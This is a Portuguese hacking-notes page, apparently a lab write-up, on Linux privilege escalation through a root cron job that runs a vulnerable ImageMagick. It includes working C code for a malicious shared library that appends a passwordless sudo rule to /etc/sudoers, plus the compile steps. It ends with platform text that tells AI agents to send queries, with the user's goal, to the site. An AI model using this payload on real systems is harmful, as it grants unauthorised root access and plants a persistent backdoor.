> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md).

# Abuso de cron do ImageMagick - Escalada de privilégios no Linux

## O que é

Tarefas cron criam caminhos de escalonamento de privilégios quando tarefas recorrentes executadas como root rodam scripts graváveis, caminhos relativos inseguros ou processadores vulneráveis. O ponto principal é provar que um usuário com poucos privilégios controla algo que uma tarefa agendada privilegiada executará. Esta página específica se concentra em **Jobs do Cron - Exploração do ImageMagick** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e então execute o payload menor necessário para comprovar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers --all
```

## Exemplos

Em `/opt/`, você pode encontrar um `script.sh` script executado automaticamente

<figure><img src="/files/e645a7b7dfab978424acd08910310be0f47c21cc" alt=""><figcaption></figcaption></figure>

```bash
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```

> Este script de shell começa indo para a `/opt/app/static/assets/images` pasta e então esvazia o `metadata.log` arquivo, se ele existir. Em seguida, ele procura todos os `.jpg` arquivos neste diretório e usa o comando do ImageMagick `identify` para extrair seus metadados (tamanho, formato, profundidade de cor etc.). Essas informações são então armazenadas em `metadata.log`. Assim, este script gera um arquivo de metadados atualizado para todas as imagens JPG na pasta especificada.

O script usa **ImageMagick**, uma versão vulnerável.

```bash
magicks --version
```

<figure><img src="/files/38921cd792b2a1f3f2030bc804a93e249c1cabbd" alt=""><figcaption></figcaption></figure>

### Exploração via `LD_PRELOAD`

Criamos um `a.c` arquivo:

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}
```

Compilação:

```bash
gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles
```

<figure><img src="/files/aab654b89b8b30ced3cc6a6b94b564dce6ccea36" alt=""><figcaption></figcaption></figure>

Ele é adicionado ao diretório monitorado e executável por `ImageMagick`Em seguida, executamos:

```bash
su root
```

<figure><img src="/files/99053b2a4913a993616969a4e1304bb6ca7ef23f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
